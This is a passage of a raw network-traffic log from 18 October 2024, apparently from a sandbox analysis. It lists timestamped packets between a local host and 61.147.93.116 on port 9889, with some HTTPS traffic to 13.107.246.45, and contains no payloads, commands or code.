Oct 18, 2024 23:46:18.946702003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946717024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946731091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946747065 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946747065 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946760893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946775913 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946799040 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946801901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946818113 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946830988 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946832895 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946849108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946862936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946866989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946878910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946893930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946906090 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946911097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946926117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946940899 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946943998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946955919 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946983099 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.946985006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.946997881 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.947016954 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.947057009 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.971016884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.971035004 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.971050024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.971096039 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.971137047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.971146107 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.971162081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.971177101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.971189976 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.971210957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.971230030 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.994451046 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.994477987 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.994527102 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.994554043 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:18.994580030 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:18.994599104 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.010963917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.010981083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.010996103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.011027098 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.011082888 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.016128063 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.016182899 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.016184092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.016204119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.016227961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.016235113 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.016241074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.016277075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.021209955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.021258116 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.021303892 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.021318913 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.021333933 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.021346092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.021372080 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.021534920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.021558046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.021575928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.021609068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022100925 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022115946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022130966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022156000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022181034 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022192001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022207022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022222042 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022231102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022238016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022252083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022265911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022299051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022653103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022700071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022748947 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022763014 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022778034 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022789001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022792101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.022814035 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.022847891 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.023094893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.023148060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.023148060 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.023166895 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.023188114 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.023191929 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.023212910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.023214102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.023230076 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.023245096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.023278952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.061692953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061714888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061732054 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061743975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.061747074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061764956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061770916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.061794996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061820984 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.061822891 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061839104 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061840057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.061855078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061872005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.061878920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.061913013 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062344074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062391043 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062402964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062453032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062490940 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062506914 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062521935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062537909 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062557936 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062702894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062748909 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062782049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062804937 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062820911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062827110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062838078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.062859058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.062899113 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.063150883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.063177109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.063191891 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.063205004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.063246965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.063273907 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.063313007 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.087791920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.087810040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.087825060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.087838888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.087845087 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.087857008 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.087878942 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.087925911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.122487068 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.122517109 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.122560978 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.122590065 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.122644901 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.127720118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.127765894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.127774000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.127805948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.127876043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.127913952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.127919912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.127981901 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.133260965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.133275986 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.133291006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.133307934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.133337975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.138499022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.138511896 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.138525963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.138541937 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.138545990 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.138556957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.138571978 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.138576031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.138622046 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139079094 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139103889 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139117002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139122963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139141083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139163971 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139242887 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139257908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139271975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139290094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139311075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139476061 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139489889 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139503956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139538050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139576912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139731884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139746904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139761925 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139784098 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139796019 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139806032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139811039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139827013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.139843941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.139888048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.140297890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.140312910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.140327930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.140341997 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.140347004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.140371084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.140382051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.140407085 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.140440941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.178647041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178661108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178675890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178689957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178695917 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.178730965 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.178831100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178845882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178859949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178874016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.178883076 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178898096 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178909063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.178913116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178930044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178942919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.178942919 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178958893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178973913 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.178976059 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.179724932 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.179755926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.179755926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.179776907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.179784060 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.179794073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.179822922 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.179857969 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.179984093 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180027008 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.180052042 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180074930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180088997 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180092096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.180104017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180109978 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.180133104 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.180156946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.180485010 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180499077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180512905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.180526972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.180557966 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.204603910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.204618931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.204633951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.204652071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.204684973 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.204688072 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.204727888 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.204735041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.204749107 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.204792023 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.228998899 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.229022026 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.229091883 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.229099989 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.229149103 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.244870901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.244885921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.244900942 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.244919062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.244955063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.250082016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.250128984 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.250138998 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.250168085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.250185013 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.250205994 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.255530119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255575895 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.255578995 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255595922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255610943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255618095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.255649090 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.255732059 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255745888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255760908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255774975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.255775928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.255801916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.255834103 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256139994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256154060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256167889 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256184101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256192923 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256200075 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256225109 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256251097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256520033 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256561995 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256572962 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256587029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256613970 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256727934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256731987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256774902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256803989 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256819963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256834984 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.256843090 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256860971 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.256879091 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.257026911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257066965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257071972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.257081985 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257108927 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.257127047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.257291079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257340908 CEST	49720	9889	192.168.2.5	61.147.93.116
